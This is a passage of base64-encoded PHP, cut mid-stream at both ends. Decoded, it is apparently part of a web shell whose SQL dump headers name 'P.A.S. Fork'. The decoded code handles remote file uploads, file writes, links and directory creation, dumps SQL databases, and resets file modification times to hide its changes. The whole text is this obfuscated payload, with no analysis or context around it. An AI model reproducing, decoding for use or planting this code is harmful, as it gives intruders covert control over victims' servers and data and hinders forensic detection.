AgICAgICAgICAgICR0ID0gRkFMU0U7CiAgICAgICAgICAgICAgICBpZiAoZGVsRk9EKCR2KSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHBdID0gJHQ7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkYikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICciciI6Wyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRwICE9PSAkaykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGsgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICddfSwnOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICd7InAiOic7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRwKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGsgPSAkcDsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJG4pOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGVbXSA9ICR2OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgIGVjaG8gJ119XSc7CiAgICAgICAgICAgIGlmICgkZSkgewogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgZWNobyAnImUiOlsnOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGUgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGsgPiAwKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikKICAgICAgICAgICAgICAgIHRvdWNoKCRrLCAkdik7CiAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICB9CiAgICAgICAgaWYgKCFlbXB0eSgkX0ZJTEVTWydmJ10pIHx8ICFlbXB0eSgkX1JFUVVFU1RbJ2YnXSkpIHsKCQkJCgkJCWlmKGlzX2FycmF5KCRfUkVRVUVTVFsnZiddKSAmJiAhaXNzZXQoJF9GSUxFU1snZiddKSl7CgkJCQlmb3JlYWNoICgkX1JFUVVFU1RbJ2YnXSBhcyAkayA9PiAkdikgewoJCQkJCSRfRklMRVNbJ2YnXVsnbmFtZSddWyRrXSA9IGJhc2VuYW1lKGtleSgkdikpOwoJCQkJCSRfRklMRVNbJ2YnXVsndG1wX25hbWUnXVska10gPSAkdlskX0ZJTEVTWydmJ11bJ25hbWUnXVska11dOwoJCQkJCSRfRklMRVNbJ2YnXVsnZXJyb3InXVska10gPSAwOwoJCQkJfQoJCQl9CgkJCQoJCSAgICBlY2hvICd7JzsKCQkgICAgJGEgPSBhcnJheSgpOwoJCSAgICAkYiA9IEZBTFNFOwoJCSAgICAkaSA9IG5ldyBGaWxlSW5mbygkRFsncCddKTsKCQkgICAgJGkgPSAkaS0+Z2V0TVRpbWUoKTsKCQkgICAgZm9yZWFjaCAoJF9GSUxFU1snZiddWydlcnJvciddIGFzICRrID0+ICR2KSB7CgkJICAgICAgICAkbiA9ICRfRklMRVNbJ2YnXVsnbmFtZSddWyRrXTsKCQkgICAgICAgIGlmICgkdiA9PT0gMCkgewoJCSAgICAgICAgICAgICRwID0gJERbJ3AnXSAuICRuOwoJCSAgICAgICAgICAgICR0ID0gJF9GSUxFU1snZiddWyd0bXBfbmFtZSddWyRrXTsKCQkgICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0LCAkcCkgfHwgcmVuYW1lKCR0LCAkcCkgfHwgY29weSgkdCwgJHApIHx8IGxpbmsoJHQsICRwKSB8fCAoaXNfc3RyaW5nKCRjID0gZ2V0RmlsZSgkdCkpICYmIHdyaXRlRmlsZSgkcCwgJGMpKSB8fCAoJHRbMF0gPT09ICdkJyAmJiB3cml0ZUZpbGUoJHAsIGJhc2U2NF9kZWNvZGUoc3Vic3RyKHN0cnJjaHIoJHQsICcsJyksIDEpKSkpKSB7CgkJICAgICAgICAgICAgICAgICRhW10gPSAkbjsKCQkgICAgICAgICAgICAgICAgaWYgKCRpKQoJCSAgICAgICAgICAgICAgICAgICAgdG91Y2goJHAsICRpKTsKCQkgICAgICAgICAgICAgICAgY29udGludWU7CgkJICAgICAgICAgICAgfQoJCSAgICAgICAgfQoJCSAgICAgICAgaWYgKCRiKQoJCSAgICAgICAgICAgIGVjaG8gJywnOwoJCSAgICAgICAgZWxzZSB7CgkJICAgICAgICAgICAgJGIgPSBUUlVFOwoJCSAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKCQkgICAgICAgIH0KCQkgICAgICAgIGpzb25FY2hvKCR2IC4gJG4pOwoJCSAgICB9CgkJICAgIGlmICgkYikKCQkgICAgICAgIGVjaG8gJ10nOwoJCSAgICBpZiAoY291bnQoJGEpID4gMCkgewoJCSAgICAgICAgaWYgKCRpKSB7CgkJICAgICAgICAgICAgdG91Y2goJERbJ3AnXSwgJGkpOwoJCSAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CgkJICAgICAgICB9CgkJICAgICAgICBpZiAoJGIpCgkJICAgICAgICAgICAgZWNobyAnLCc7CgkJICAgICAgICBlY2hvICcicCI6JzsKCQkgICAgICAgIGpzb25FY2hvKCREWydwJ10pOwoJCSAgICAgICAgZWNobyAnLCJmIjpbJzsKCQkgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2KQoJCSAgICAgICAgICAgIG91dEZpbGVJbmZvKCREWydwJ10gLiAkdik7CgkJICAgICAgICBlY2hvICddJzsKCQkgICAgICAgIG91dEZpbGVJbmZvKE5VTEwsIFRSVUUpOwoJCSAgICB9CgkJICAgIHNEaWUoJ30nKTsKCQl9CiAgICAgICAgaWYgKGlzc2V0KCREWyd3J10pKSB7CiAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJERbJ3cnXSkgfHwgZmlsZV9leGlzdHMoJERbJ3cnXSkpIHsKICAgICAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCREWyd3J10pOwogICAgICAgICAgICAgICAgaWYgKCRpLT5pc0RpcigpKQogICAgICAgICAgICAgICAgICAgIHNEaWUoJ3siZSI6IihwYXRoIGFscmVhZHkgZXhpc3RzIGFzIGRpcmVjdG9yeSkifScpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHAgICAgID0gZmlsZVBhdGgoJERbJ3cnXSk7CiAgICAgICAgICAgICAgICAkaSAgICAgPSBuZXcgRmlsZUluZm8oJHApOwogICAgICAgICAgICAgICAgJGFbJHBdID0gJGktPmdldE1UaW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGFbJERbJ3cnXV0gPSAkaS0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgc3dpdGNoICgkRFsnZSddKSB7CiAgICAgICAgICAgICAgICBjYXNlIDA6CiAgICAgICAgICAgICAgICAgICAgJHYgPSAiXHJcbiI7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgICAgICAgICAgJHYgPSAiXG4iOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAgICAgICAgICR2ID0gIlxyIjsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkRFsndCddID0gc3RydHIoJERbJ3QnXSwgYXJyYXkoCiAgICAgICAgICAgICAgICAiXHJcbiIgPT4gJHYsCiAgICAgICAgICAgICAgICAiXHIiID0+ICR2LAogICAgICAgICAgICAgICAgIlxuIiA9PiAkdgogICAgICAgICAgICApKTsKICAgICAgICAgICAgaWYgKHdyaXRlRmlsZSgkRFsndyddLCAkRFsndCddKSkgewoJCQkJCgkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfaW52YWxpZGF0ZScpKSBvcGNhY2hlX2ludmFsaWRhdGUoJERbJ3cnXSwgdHJ1ZSk7CgkJCQkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgICAgIGlmICgkdikKICAgICAgICAgICAgICAgICAgICAgICAgdG91Y2goJGssICR2KTsKICAgICAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgICAgICAkaSA9IG5ldyBGaWxlSW5mbygkRFsndyddKTsKICAgICAgICAgICAgICAgIGVjaG8gIlx4MDFceDAyIjsKICAgICAgICAgICAgICAgICRiID0gb3V0RmlsZSgkRFsndyddKTsKICAgICAgICAgICAgICAgIGVjaG8gIlx4MDNceDFFIjsKICAgICAgICAgICAgICAgIGlmICgkYikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlx4MDYiOwogICAgICAgICAgICAgICAgICAgIGpzb25GaWxlSW5mbygkaSwgVFJVRSk7CiAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICBlY2hvICJceDE1IiwgJERbJ3cnXTsKICAgICAgICAgICAgICAgIHNEaWUoIlx4MTdceDA0XHgxMCIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNEaWUoJ3siZSI6IiJ9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnbCddKSkgewogICAgICAgICAgICAkcCA9IGZpbGVQYXRoKCREWydsJ10pOwogICAgICAgICAgICAkdCA9IG5ldyBGaWxlSW5mbygkcCk7CiAgICAgICAgICAgICR0ID0gJHQtPmdldE1UaW1lKCk7CiAgICAgICAgICAgIGlmICgkRFsndCddID09IDAgPyBzeW1saW5rKCREWydwJ10sICREWydsJ10pIDogbGluaygkRFsncCddLCAkRFsnbCddKSkgewogICAgICAgICAgICAgICAgaWYgKCR0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCREWyd0J10gIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgdG91Y2goJERbJ2wnXSwgJHQpOwogICAgICAgICAgICAgICAgICAgIHRvdWNoKCRwLCAkdCk7CiAgICAgICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGpzb25GaWxlSW5mbyhuZXcgRmlsZUluZm8oJERbJ2wnXSksIFRSVUUpOwogICAgICAgICAgICAgICAgc0RpZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNEaWUoJ3siZSI6IiJ9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnbSddKSkgewogICAgICAgICAgICBpZiAoaXNfZmlsZSgkRFsnbSddKSB8fCBpc19kaXIoJERbJ20nXSkgfHwgZmlsZV9leGlzdHMoJERbJ20nXSkpCiAgICAgICAgICAgICAgICBzRGllKCd7ImUiOiIocGF0aCBhbHJlYWR5IGV4aXN0cykifScpOwogICAgICAgICAgICAkcCA9IGZpbGVQYXRoKCREWydtJ10pOwogICAgICAgICAgICAkaSA9IG5ldyBGaWxlSW5mbygkcCk7CiAgICAgICAgICAgICRpID0gJGktPmdldE1UaW1lKCk7CiAgICAgICAgICAgIGlmIChta2RpcigkRFsnbSddLCAwNzU1KSkgewogICAgICAgICAgICAgICAgaWYgKCRpKSB7CiAgICAgICAgICAgICAgICAgICAgdG91Y2goJERbJ20nXSwgJGkpOwogICAgICAgICAgICAgICAgICAgIHRvdWNoKCRwLCAkaSk7CiAgICAgICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGpzb25GaWxlSW5mbyhuZXcgRmlsZUluZm8oJERbJ20nXSksIFRSVUUpOwogICAgICAgICAgICAgICAgc0RpZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNEaWUoJ3siZSI6IiJ9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZiddKSkgewogICAgICAgICAgICBlY2hvICd7JzsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkbSA9IGFycmF5KCk7CiAgICAgICAgICAgICRjID0gYXJyYXkoKTsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgJHQgPSBuZXcgRmlsZUluZm8oJERbJ2YnXSk7CiAgICAgICAgICAgICR0ID0gJHQtPmdldE1UaW1lKCk7CiAgICAgICAgICAgIGlmIChpc3NldCgkRFsndiddKSkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCREWyd2J10gYXMgJHYpIHsKICAgICAgICAgICAgICAgICAgICAkaSA9IG5ldyBGaWxlSW5mbygkdik7CiAgICAgICAgICAgICAgICAgICAgJGogPSAkaS0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAkZiA9ICREWydmJ10gLiAkaS0+Z2V0RmlsZU5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAkcyA9ICRpLT5nZXRQYXRoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkYVskc10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gbmV3IEZpbGVJbmZvKCRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkbi0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICBpZiAocmVuYW1lKCR2LCAkZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHNdID0gJG47CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRmXSA9ICRqOwogICAgICAgICAgICAgICAgICAgICAgICAkbVskc11bXSA9ICRpLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3AnXSkpCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsncCddIGFzICR2KSB7CiAgICAgICAgICAgICAgICAgICAgJGkgPSBuZXcgRmlsZUluZm8oJHYpOwogICAgICAgICAgICAgICAgICAgICRmID0gJERbJ2YnXSAuICRpLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAgICAgICAgIGlmIChjb3B5KCR2LCAkZikgfHwgbGluaygkdiwgJGYpIHx8ICghJGktPmlzRGlyKCkgJiYgaXNfc3RyaW5nKCRzID0gZ2V0RmlsZSgkdikpICYmIHdyaXRlRmlsZSgkZiwgJHMpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdiA9ICRpLT5nZXRNVGltZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVskZl0gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgJGNbXSA9ICRpLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgaWYgKGNvdW50KCRtKSA+IDAgfHwgY291bnQoJGMpID4gMCkgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGsgPT4gJHYpCiAgICAgICAgICAgICAgICAgICAgdG91Y2goJGssICR2KTsKICAgICAgICAgICAgICAgIGlmICgkdCkKICAgICAgICAgICAgICAgICAgICB0b3VjaCgkRFsnZiddLCAkdCk7CiAgICAgICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgZWNobyAnInAiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygkRFsnZiddKTsKICAgICAgICAgICAgICAgIGlmIChjb3VudCgkbSkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJtIjpbJzsKICAgICAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRtIGFzICRrID0+ICRhKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ3sicCI6JzsKICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJGspOwogICAgICAgICAgICAgICAgICAgICAgICBvdXRGaWxlSW5mbyhOVUxMLCBGQUxTRSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywiZiI6Wyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oJERbJ2YnXSAuICR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnXX0nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChjb3VudCgkYykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJjIjpbJzsKICAgICAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjIGFzICR2KQogICAgICAgICAgICAgICAgICAgICAgICBvdXRGaWxlSW5mbygkRFsnZiddIC4gJHYpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJ10nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oTlVMTCwgVFJVRSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgIGNhc2UgJ3MnOgogICAgICAgIGRlZmluZSgnVF9ETVBIRFInLCAiLS0gXG4tLSBUaGlzIFNRTCBkdW1wIGNyZWF0ZWQgYnkgUC5BLlMuIEZvcmsgdi4iIC4gVkVSIC4gIlxuLS0gXG4tLSBTdGFydGVkIGF0ICVzIFVUQ1xuIik7CiAgICAgICAgZGVmaW5lKCdUX0RNUEZUUicsICItLSBGaW5pc2hlZCBhdCAlcyBVVEMiKTsKICAgICAgICBkZWZpbmUoJ0VfU0xDVERUJywgIkNhbid0IGxvYWQgZGF0YSBmcm9tIHRhYmxlICVzXG4iKTsKICAgICAgICBkZWZpbmUoJ0VfQ05TVENTJywgIkNhbid0IGNvbnN0cnVjdCBjcmVhdGUgc3RhdGVtZW50IGZvciB0YWJsZSAlc1xuIik7CiAgICAgICAgZGVmaW5lKCdFX0NITkdEQicsICJDYW4ndCBjaGFuZ2UgZGF0YWJhc2UgdG8gJXMgZm9yIGR1bXAgdGFibGUgJXMuJXNcbiIpOwogICAgICAgIGNsYXNzIFNRTEJhc2UgewogICAgICAgICAgICB2YXIgJF9jbmN0LCAkX3JlczsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubkVycm9yKCRtLCAkaCwgJHUsICRwLCAkYikgewogICAgICAgICAgICAgICAgZWNobyAneyJlIjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oJG0gPyAkbSA6ICJDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiIC4gKCRoID09PSBOVUxMID8gJycgOiAnICcgLiAkaCkgLiAoJHUgPT09IE5VTEwgPyAnJyA6ICcgYXMgdXNlciAiJyAuICR1IC4gJyInKSAuICgkcCA9PT0gTlVMTCA/ICcnIDogJyB3aXRoIHBhc3N3b3JkICInIC4gJHAgLiAnIicpIC4gKCRiID09PSBOVUxMID8gJycgOiAnIGFuZCBzZWxlY3QgZGF0YWJhc2UgIicgLiAkYiAuICciJykgLiAnLicpOwogICAgICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEVycm9yKCkgewogICAgICAgICAgICAgICAgJHYgPSAkdGhpcy0+X2NuY3QtPmVycm9ySW5mbygpOwogICAgICAgICAgICAgICAgcmV0dXJuICR2WzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHRyeVF1ZXJpZXMoJGEpIHsKICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPl9jbmN0OwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5fcmVzID0gJGktPnF1ZXJ5KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hBc3NvYygpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlcy0+ZmV0Y2goUERPOjpGRVRDSF9BU1NPQyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hSb3coKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBxdWVyeSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdGhpcy0+X3JlcyA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJHYpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEJhc2UoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoVGFibGUoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnNOYW1lcygkdikgewogICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKCgkdiA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJyAuICR2IC4gJyBMSU1JVCAxJykpICYmICgkdiA9ICR2LT5mZXRjaChQRE86OkZFVENIX0FTU09DKSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkaSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNxbFRhYmxlU2l6ZSgkdikgewogICAgICAgICAgICAgICAgcmV0dXJuICgkdiA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBGUk9NICcgLiAkdikpID8gJHYtPmZldGNoQ29sdW1uKDApIDogJyI/Iic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2UoKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+X2NuY3QgPSBOVUxMOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNxbEpvaW5Db2x1bW5zKCRhLCAkZikgewogICAgICAgICAgICBpZiAoJGEpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgICAgICRhWyRrXSA9ICRmKCR2KTsKICAgICAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcsJywgJGEpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAnKic7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNxbE91dENyZWF0ZSgkdCwgJGMsICRkLCAkZikgewogICAgICAgICAgICBlY2hvICJcbkNSRUFURSBUQUJMRSAiLCAkZigkdCksICIgKFxuIjsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgZm9yZWFjaCAoJGMgYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICBlY2hvICIsXG4iOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgIGVjaG8gJyAgJywgJGYoJGspLCAnICcsICR2ID8gJHYgOiAkZDsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICJcbik7XG4iOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzcWxPdXRJbnNlcnQoJHQsICRjKSB7CiAgICAgICAgICAgIGVjaG8gIlxuSU5TRVJUIElOVE8gIiwgJHQ7CiAgICAgICAgICAgIGlmICgkYyAhPT0gJyonKQogICAgICAgICAgICAgICAgZWNobyAnICgnLCAkYywgJyknOwogICAgICAgICAgICBlY2hvICcgVkFMVUVTJzsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3FsT3V0VmFsdWVzKCRhLCAkZikgewogICAgICAgICAgICBlY2hvICJcbigiOwogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgewogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgIGlmICgkdiA9PT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICBlY2hvICdOVUxMJzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBlY2hvICRmKCR2KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICcpJzsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gY3N2T3V0VmFsdWVzKCRhKSB7CiAgICAgICAgICAgICRjID0gMDsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICBlY2hvICc7JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICBpZiAoJHYgPT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnXE4nOwogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBzdHJfcmVwbGFjZShhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJyInLAogICAgICAgICAgICAgICAgICAgICAgICAnOycsCiAgICAgICAgICAgICAgICAgICAgICAgICJcciIsCiAgICAgICAgICAgICAgICAgICAgICAgICJcbiIKICAgICAgICAgICAgICAgICAgICApLCBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJyIiJywKICAgICAgICAgICAgICAgICAgICAgICAgJzsnLAogICAgICAgICAgICAgICAgICAgICAgICAnXHInLAogICAgICAgICAgICAgICAgICAgICAgICAnXG4nCiAgICAgICAgICAgICAgICAgICAgKSwgJHYsICRjKTsKICAgICAgICAgICAg